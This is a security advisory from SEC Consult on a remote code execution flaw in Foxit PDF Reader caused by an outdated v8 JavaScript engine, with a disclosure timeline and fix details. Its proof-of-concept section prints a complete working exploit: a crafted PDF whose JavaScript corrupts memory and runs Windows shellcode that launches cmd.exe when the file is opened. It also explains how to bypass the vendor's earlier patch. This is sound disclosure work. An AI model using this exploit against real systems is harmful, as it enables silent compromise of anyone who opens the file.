Outdated JavaScript engine leads to RCE in Foxit PDF Reader

Title

Outdated JavaScript engine leads to RCE

Product

Foxit PDF Reader

Vulnerable Version

11.2.2.53575 and below

Fixed Version

12.0.1

CVE Number

-

Impact

critical

Found

31.05.2022

By

R. Freingruber (Office Vienna) | SEC Consult Vulnerability Lab

Foxit PDF Reader suffers from multiple vulnerabilities due to the use of an outdated JavaScript engine. Publicly known memory corruption vulnerabilities in the JavaScript engine can be exploited to execute arbitrary code when a crafted PDF file is opened.

 

Vendor description

"Foxit's mission is to develop market leading and innovative PDF products and  services, helping knowledge workers to increase their productivity."

Source: https://www.foxit.com/company/about.html

 

Business recommendation

The vendor provides an updated version which should be installed  immediately. 

SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve potential further critical security issues.

 

Vulnerability overview/description

1) Outdated JavaScript Engine leads to RCE

Foxit PDF Reader internally uses the JavaScript engine v8 from Google Chrome: https://github.com/v8/v8

Vulnerabilities and exploits for this JavaScript engine are regularly published as Google Chrome is an attractive attack target.

It was identified that Foxit PDF Reader uses v8 in the outdated version 7.7.299.6 from August 2019. This version is prone to several publicly known vulnerabilities, including CVE-2020-6418.

CVE-2020-6418 is trivial to exploit as a public exploit is available at:
https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping-chrome/

A full working exploit for CVE-2020-6418 which achieves code execution when opening a crafted PDF file was sent to the vendor via Zero Day Initiative (ZDI) in 2020.

Foxit assigned CVE-2020-15638 for the vulnerability submission and the following ZDI advisory for the JSCreate vulnerability which was published at:
https://www.zerodayinitiative.com/advisories/ZDI-20-933/

However, Foxit did not fix the vulnerability properly. Instead, the JavaScript datatype "BigUint32Array" was removed.
This datatype was used in the submitted exploit and the update therefore ensured that the submitted exploit doesn't work anymore.
This patch can be bypassed by just not using the datatype "BigUint32Array".

 

Proof of concept

1) Outdated JavaScript Engine leads to RCE

To identify the outdated v8 JavaScript version, the strings.exe utility from the Sysinternals suite was used:
https://docs.microsoft.com/en-us/sysinternals/downloads/strings

strings.exe FoxitReader.exe > strings.txt

The version number can be identified by grepping for the following pattern:

libv8-

The original exploit for CVE-2020-6418 from the above mentioned link used the data type "BigUint32Array" during exploitation.

This code can be rewritten to use the datatype SharedArrayBuffer instead. It must be mentioned that SharedArrayBuffer must be used instead of ArrayBuffer, since the datatype ArrayBuffer was removed in Foxit Reader as part of a fix/update for exploits submitted by @steventseeley several years ago. Within this patch, also other typed-array datatypes were removed. Therefore, an exploit had to be written using SharedArrayBuffer together with DataView objects. 

The submitted exploit also used BigUint32Array to load a WebAssembly module. Loading such a WebAssembly module is a common v8 exploitation technique because this leads to the allocation of a write- and executable memory region which can be used to store and execute shellcode.

Code similar to the script shown in the attached blog post was used originally:

https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/#code-execution

This code uses Uint8Array to load the WebAssembly code. Since most typed arrays were removed from Foxit Reader, the code was rewritten to use BigUint32Array instead. The last Foxit PDF Reader version also removed BigUint32Array and the exploit was rewritten to avoid the use of any typed arrays during loading of the WebAssembly:

function Module() {
    "use asm"
    function f1() {}
    return {f1: f1}
}
let evil_func = Module().f1;

The full exploit code is listed below. When opening this PDF file (either via drag&drop, the file-open dialog or by double clicking it), arbitrary system commands can be executed. This is demonstrated by spawning a shell and executing a command within it. Note that the exploit can be changed to hide the visible code execution. Foxit Reader does not crash because all registers are saved and restored.

%PDF 
1 0 obj
<< /Pages 2 0 R /OpenAction 5 0 R>> 

2 0 obj
<<
    /Type /Pages
    /Count 1
    /Kids [ 3 0 R ]
>>
endobj

3 0 obj
<<
    /Type /Page
    /Contents 4 0 R
    /Parent 2 0 R
    /Resources <<
        /Font <<
            /F1 <<
                /Type /Font
                /Subtype /Type1
                /BaseFont /Arial
            >>
        >>
    >>
>>
endobj

4 0 obj
<< >>
stream
BT
/F1 30 Tf
10 600 Td
(Demo ) '
ET
endstream
endobj

5 0 obj
<</S /JavaScript /JS (

let array_buffer = new SharedArrayBuffer(1024);
let dv = new DataView(array_buffer);
 
function f64_to_u32(v) {
    dv.setFloat64(0, v);
    return [dv.getUint32(4), dv.getUint32(0)];
}

function u32_to_f64(lo, hi) {
    dv.setUint32(4, lo);
    dv.setUint32(0, hi);
    return dv.getFloat64(0);
}

var oob;
var rrw = [];
var helper;
var helper2;
var arw;
var number_pops = 0;
var correct_offset = 0;
var correct_offset2 = 0;

function setup() {
    ITERATIONS = 10000;
    TRIGGER = false;
    function f(oob, p) {
        return oob.push(Reflect.construct(function() {}, arguments, p) === Object.prototype ? 0.2 : 156842065920.05);
    }
    let p = new Proxy(Object, {
        get: function() {
            if (TRIGGER) {
                if(rrw.length != 0 && rrw.length != 5) {
                    return Object.prototype;
                }
                oob[0] = {};
                for(let i = 0; i < number_pops; i++) {
                    oob.pop();
                }
                number_pops = number_pops + 1;
                rrw = [0.1, 1.1, 1.2, 1.3, 1.4];
                helper = [0.1, 1.1, 1.2, 1.3, Math];
                helper.obj = Math;
                helper2 = [0.1, 1.1, 1.2, 1.3, 1.4]; 
            }
            return Object.prototype;
        }
    });
    for (let i = 0; i < ITERATIONS; i++) {
        let enableTrigger = i > (ITERATIONS - 50);
        oob = [0.1,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1.1];
        if (enableTrigger) { TRIGGER = true; }
        oob.pop();
        f(oob, p);
    }
    return {
        addrof(obj) {
            helper[4] = obj;
            let lo = f64_to_u32(rrw[correct_offset])[0];
            return lo - 1;
        },
        cread4(addr) {
            let backup = rrw[24];
            let lo = addr + 1 - 8;
            let hi = f64_to_u32(backup)[1];
            rrw[24] = u32_to_f64(lo, hi);
            let result = f64_to_u32(helper2[0])[0];
            rrw[24] = backup;
            return result;
        },
        cwrite4(addr, data) {
            let backup = rrw[24];
            let lo = addr + 1 - 8;
            let hi = f64_to_u32(backup)[1];
            rrw[24] = u32_to_f64(lo, hi);
            let tmp = f64_to_u32(helper2[0])[1];
            helper2[0] = u32_to_f64(data, tmp);
            rrw[24] = backup;
        },
    };
}

function find_offsets() {
    for (let i = 0; i < 20; i++) {
        helper[4] = Math;
        let tmp = rrw[i];
        helper[4] = {};
        if(tmp != rrw[i]) {
            correct_offset = i;
        }
    }
    if (correct_offset == 0) { throw new Error(); }
    for (let i = 0; i < 90; i++) {
        helper2[0] = 7.7;
        let tmp = rrw[i];
        if(tmp == 7.7) {
            helper2[0] = 9.9;
            tmp = rrw[i];
            if(tmp == 9.9) {
                correct_offset2 = i;
                break
            }
        }
    }
    if (correct_offset2 == 0) { throw new Error(); }
}
var memory = setup();
find_offsets();
function Module() {
    "use asm"
    function f1() {}
    return {f1: f1}
}
let evil_func = Module().f1;
evil_func();
addr_evil_func = memory.addrof(evil_func);
shared_info_ptr = memory.cread4(addr_evil_func + 12) - 1;
wasm_exported_function_data_ptr = memory.cread4(shared_info_ptr + 4) - 1;
wasm_instance_addr = memory.cread4(wasm_exported_function_data_ptr + 8) - 1;
rwx_page_addr = memory.cread4(wasm_instance_addr + 64);
jmp_bytes1 = memory.cread4(rwx_page_addr);
jmp_bytes2 = memory.cread4(rwx_page_addr+4);
byte1 = (jmp_bytes1 & 0xff) >> 0;
byte2 = (jmp_bytes1 & 0xff00) >> 8;
byte3 = (jmp_bytes1 & 0xff0000) >> 16;
byte4 = (jmp_bytes1 & 0xff000000) >> 24;
byte5 = (jmp_bytes2 & 0xff) >> 0;
jmp_arg = (byte2 << 0) + (byte3 << 8) + (byte4 << 16) + (byte5 << 24);
jmp_target = jmp_arg + rwx_page_addr + 5;
if (byte1 != 0xe9) { throw new Error(); }
var my_array_buffer = new SharedArrayBuffer(1024);
addr_array_buffer = memory.addrof(my_array_buffer);
addr_array_buffer_backing_store_ptr = addr_array_buffer + 0x10;
memory.cwrite4(addr_array_buffer_backing_store_ptr, jmp_target);
var memview = new DataView(my_array_buffer);
safe_registers = "%u5560%uec8b%uec81%u0400%u0000";
real_shellcode_part1 = "%uc931%ua164%u0030%u0000%u408b%u8b0c%u1470%u96ad%u8bad%u1058%u538b%u013c%u8bda%u7852%uda01%u728b%u0120%u31de%u41c9%u01ad%u81d8%u4738%u7465%u7550%u81f4%u0478%u6f72%u4163%ueb75%u7881%u6408%u7264%u7565%u8be2%u2472%ude01%u8b66%u4e0c%u8b49%u1c72%ude01%u148b%u018e%u31da%u52f6%u315e%u53ff%u315f%u51c9%u7868%u6365%u6800%u6957%u456e%ue189%u5351%ud2ff%uc931%u6851%u7365%u0073%u5068%u6f72%u6863%u7845%u7469%ue189%u5751%uff31%uc789%ud6ff%uf631%u5e50%uc931%u9051";
cmd = 'cmd.exe /c "echo Remote Code Execution && echo. && pause"';
while(cmd.length % 4 != 0) { cmd += " "; }
push_cmd = "%u6890%u0000%u0000";
for (let i = cmd.length-1; i > 0; i -= 4) {
    var byte1 = Number(cmd.charCodeAt(i)).toString(16);
    var byte2 = Number(cmd.charCodeAt(i-1)).toString(16);
    var byte3 = Number(cmd.charCodeAt(i-2)).toString(16);
    var byte4 = Number(cmd.charCodeAt(i-3)).toString(16);
    push_cmd += "%u6890%u" + byte3 + byte4 +"%u" + byte1 + byte2;
}
real_shellcode_part2 = "%u8990%u6ae1%u5101%ud7ff";
restore_registers_and_return = "%ue58b%u615d%u90c3";
shellcode = unescape(safe_registers + real_shellcode_part1 +push_cmd +  real_shellcode_part2 + restore_registers_and_return);
while(shellcode.length % 4 != 0){ shellcode += "\u9090"; }
for (let i = 0; i < shellcode.length; i += 1) {
    tmp_value = (shellcode.charCodeAt(i));
    tmp_value1 = (tmp_value & 0xff);
    tmp_value2 = (tmp_value & 0xff00) >> 8;
    memview.setUint8(i*2+0,tmp_value1);
    memview.setUint8(i*2+1,tmp_value2);
}
evil_func();
)>> trailer <</Root 1 0 R>>

Vulnerable / tested versions

The vulnerability has been verified to exist in Foxit PDF Reader 11.2.2.53575, which was the most recent version at the time the advisory was written. 

The vulnerability was also verified in older Foxit PDF Reader versions.

Vendor contact timeline

2022-06-02 Contacting vendor through security-ml@foxit.com, asking for encryption. Received no response.
2022-06-08 Contacting vendor again through security-ml@foxit.com. Received response from Foxit Security team, but from a different e-mail domain. Foxit tried to contact us on 2022-06-02 and 2022-06-08, but it seems like the e-mails were not delivered. Foxit provided a PGP key for further communication. The report and the exploit code were encrypted and transmitted. Foxit confirmed the receipt of the report and forwarded it to their developer team. Foxit asked to extend the advisory publication deadline to 2022-08-10 to match their next security patch release date. SEC Consult agreed on the new deadline.
2022-07-29 Foxit informed us that version 12.0.1 was released with a fix. Foxit provided credits on their security bulletins page. https://www.foxit.com/support/security-bulletins.html
2022-08-31 Release of security advisory.

Solution

The vendor provides an updated version 12.0.1 (or higher) which can be downloaded from here:  https://www.foxit.com/downloads/#Foxit-Reader/

Workaround

None

Advisory URL

https://sec-consult.com/vulnerability-lab/

 

EOF Rene Freingruber / @2022

Interested to work with the experts of SEC Consult? 

Send us your application

Interested in improving your cyber security with the experts of SEC Consult? 

Contact our local offices